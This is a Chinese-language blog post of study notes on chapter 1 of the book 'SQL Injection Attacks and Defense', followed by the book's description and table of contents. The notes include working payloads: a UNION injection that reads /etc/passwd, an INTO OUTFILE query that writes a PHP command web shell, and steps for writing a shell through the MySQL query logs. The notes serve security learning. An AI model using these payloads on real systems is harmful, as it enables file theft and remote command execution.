sql注入攻击与防御第一章(笔记)

第一章 什么是sql注入

概述

SQL注入:应该用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)查询时,如果为攻击者提供了影响该查询的能力,就会引发SQL注入。

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行

自SQL数据库首次链接web起 SQL注入就已经存在了 ,它首次引起公众注意是在1998年圣诞节。

web工作原理

web应用通常包含三层

  1. 表示层(web浏览器或呈现引擎)
  2. 逻辑层(php,java,c#,asp等编程语言)
  3. 存储层(mysql、oracle、sql server等数据库)

web表示层向逻辑层层发送请求,逻辑层通过查询,更新存储层来响应该请求

SQL注入的产生过程

1.转义字符处理不当

sql数据库将单引号字符 ' 解析成代码与数据间的分隔线。单引号外面是代码,里面是数据

$sql="SELECT * FROM table WHERE field='$_GET["input"]'";
www.baidu.com/news.php?id=1’

2.类型处理不当

$SQL="SELECT * FROM table WHERE field=$_GET["userid]";

mysql提供一个名为LOAD_FILE函数。调用该函数必须拥有FILE权限

1 union ALL SELECT LOAD_FILE('/etc/passwd') --

mysql还包含一个内置命令,可以用来创建系统文件并进行写操作。

1 UNION SELECT"<? system($_REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"

要向执行LOAD_FILE和SELECT INTO OUTFILE命令 必须拥有FILE权限

Load_file()

Into outfile

3.查询语句组装不当

4.错误处理不当

最常见的问题是将详细的内部消息(如数据库转储、错误代码等)显示给用户或攻击者

5.多个提交处理不当

6.不安全的数据库配置

  1. SQLserver使用了声名狼藉的 sa 作为数据库系统管理账户
  2. mysql使用root和anonymous用户账户
  3. Orace在创建数据库时会默认创建 SYS,SYSTEM,DBSNMP和OUTLN账户
  4. 服务器默认支持(xp_cmdshell、OPENROWSET、LOAD_FILE、ActiveX以及JAVA支持)

知识延伸-FILE权限、突破secure_file_prive getshell、mysql日志

  • 知识延伸-FILE权限

    FILE权限指的是对服务器主机上文件的访问,数据库用户拥有FILE权限才可以执行select into outfile,load data infile操作。

    secure_file_priv参数说明

    secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

    mysql新特性secure_file_priv对文件读写的影响 此开关默认为null,不允许导入导出

    解决方案

    window 修改my.ini 在[mysqld]内加入secure_file_priv=
    Linux:修改my.cnf 在[mysqld]内加入secure_file_priv=
    

    重启即可开启

    show global variables like '%secure%’;  //查看secure-file-priv参数的值:
    

    ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

  • 利用日志来写shell(突破secure_file_priv是null的情况)

    1.利用慢查询日志getsell

    1.设置slow_query_log=1 启用慢查询日志

    set global slow_query_log=1;
    

    2.修改slow_query_log_file日志文件的绝对路径与文件名

    set global slow_query_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'
    

    3.通过延迟语句延迟执行才能写进日志 就成功写shell了

    select ‘<?php phpinfo();?>’ or sleep(11);
    

    参考学习:https://www.cnblogs.com/c1e4r/articles/8902444.html

    2.利用查询日志getshell

    1.开启查询日志

    set global general_log='ON'
    

    2.设置操作记录日志路径

    set global general_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'
    

    3.执行sql查询日志 产生日志即可getshell

    select "<?php phpinfo();?>"
    

    参考学习:https://www.jianshu.com/p/2da700db961e?from=groupmessage

  • linux查看mysql日志

    进入mysql安装目录 一般 /usr/local/mysql/data

    show variables like 'general_log'; -- 查看日志是否开启
    set global general_log=on; -- 开启日志功能
    set global general_log=on; -- 开启日志功能
    set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
    show variables like 'log_output'; -- 看看日志输出类型 table或file
    set global log_output='table'; -- 设置输出类型为 table
    set global log_output='file'; -- 设置输出类型为file
    

    mysql日志包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志

    **错误日志:**文件通常的名称为hostname.err。其中,hostname表示服务器主机名。

    | log_error                               | ./VM-16-2-centos.err                                 | 定义错误日志

    更改日志位置

    [mysqld] Log_error=DIR/[filename]

    **查询日志:**询日志会记录用户的所有操作,其中还包含增删查改等信息,在并发操作大的环境下会产生大量的信息从而导致不必要的磁盘IO,会影响mysql的性能的

    | general_log                             | OFF                                                  |  定义查询日志是否开启
    | general_log_file                        | /www/mysql_data/mysql-5.5.62/data/VM-16-2-centos.log |  定义查询日志文件位置

    **慢查询:**慢查询日志是用来记录执行时间超过指定时间的查询语句。通过慢查询日志,可以查找出哪些查询语句的执行效率很低,以便进行优化。

    | slow_query_log                          | ON                                                   | 是否开启
    | slow_query_log_file                     | mysql-slow.log                                       | 日志位置

    启动和设置慢查日志:

    1.通过配置文件my.cnf中的log-slow-queries选项可以开启慢查日志

    [mysqld] slow_query_log=1

    2.登陆mysql使用mysql命令执行。

    set global slow_query_log=1;
    

    **事务日志:**事务日志(InnoDB特有的日志)可以帮助提高事务的效率。使用事务日志,存储引擎在修改表的数据时只需要修改其内存拷贝,再把改修改行为记录到持久在硬盘上的事务日志中,而不用每次都将修改的数据本身持久到磁盘。

    **二进制日志:**二进制日志也叫作变更日志,主要用于记录修改数据或有可能引起数据改变的mysql语句,并且记录了语句发生时间、执行时长、操作的数据等等。所以说通过二进制日志可以查询mysql数据库中进行了哪些变化。

    参考学习:https://blog.51cto.com/pangge/1319304

SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认和自动发现SQL注入   查找代码中SQL注入时的提示和技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 第1章 什么是SQL注入 1 1.1 概述 2 1.2 理解Web应用的工作原理 2 1.2.1 一种简单的应用架构 3 1.2.2 一种较复杂的架构 4 1.3 理解SQL注入 5 1.4 理解SQL注入的产生过程 10 1.4.1 构造动态字符串 10 1.4.2 不安全的数据库配置 16 1.5 本章小结 18 1.6 快速解决方案 18 1.7 常见问题解答 19 第2章 SQL注入测试 21 2.1 概述 22 2.2 寻找SQL注入 22 2.2.1 借助推理进行测试 22 2.2.2 数据库错误 29 2.2.3 应用响应 38 2.2.4 SQL盲注 42 2.3 确认SQL注入 45 2.3.1 区分数字和字符串 46 2.3.2 内联SQL注入 46 2.3.3 终止式SQL注入 51 2.3.4 时间延迟 59 2.4 自动寻找SQL注入 60 2.5 本章小结 68 2.6 快速解决方案 68 2.7 常见问题解答 69 第3章 复查代码中的SQL注入 71 3.1 概述 72 3.2 复查源代码中的SQL注入 72 3.2.1 危险的编码行为 74 3.2.2 危险的函数 79 3.2.3 跟踪数据 82 3.2.4 复查PL/SQL和T-SQL代码 88 3.3 自动复查源代码第1章 什么是SQL注入 94 3.3.1 YASCA 96 3.3.2 Pixy 96 3.3.3 AppCodeScan 97 3.3.4 LAPSE 97 3.3.5 SWAAT 97 3.3.6 Microsoft SQL注入源代码分析器 98 3.3.7 CAT.NET 98 3.3.8 商业源代码复查工具 98 3.3.9 Ounce 99 3.3.10 Fortify源代码分析器 100 3.3.11 CodeSecure 100 3.4 本章小结 100 3.5 快速解决方案 101 3.6 常见问题解答 102 第4章 利用SQL注入 105 4.1 概述 106 4.2 理解常见的利用技术 107 4.3 识别数据库 108 4.3.1 非盲跟踪 109 4.3.2 盲跟踪 112 4.4 使用UINON语句提取数据 113 4.4.1 匹配列 114 4.4.2 匹配数据类型 115 4.5 使用条件语句 119 4.5.1 方法1:基于时间 120 4.5.2 方法2:基于错误 122 4.5.3 方法3:基于内容 123 4.5.4 处理字符串 123 4.5.5 扩展攻击 125 4.5.6 利用SQL注入错误 126 4.5.7 Oracle中的错误消息 128 4.6 枚举数据库模式 131 4.6.1 SQL Server 131 4.6.2 MySQL 136 4.6.3 Oracle 139 4.7 提升权限 142 4.7.1 SQL Server 142 4.7.2 Oracle 147 4.8 窃取哈希口令 148 4.8.1 SQL Server 149 4.8.2 MySQL 150 4.8.3 Oracle 151 4.9 带外通信 154 4.9.1 E-mail 154 4.9.2 HTTP/DNS 157 4.9.3 文件系统 158 4.10 自动利用SQL注入 161 4.10.1 Sqlmap 161 4.10.2 Bobcat 164 4.10.3 BSQL 164 4.10.4 其他工具 166 4.11 本章小结 166 4.12 快速解决方案 167 4.13 常见问题解答 168 第5章 SQL盲注利用 171 5.1 概述 172 5.2 寻找并确认SQL盲注 173
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值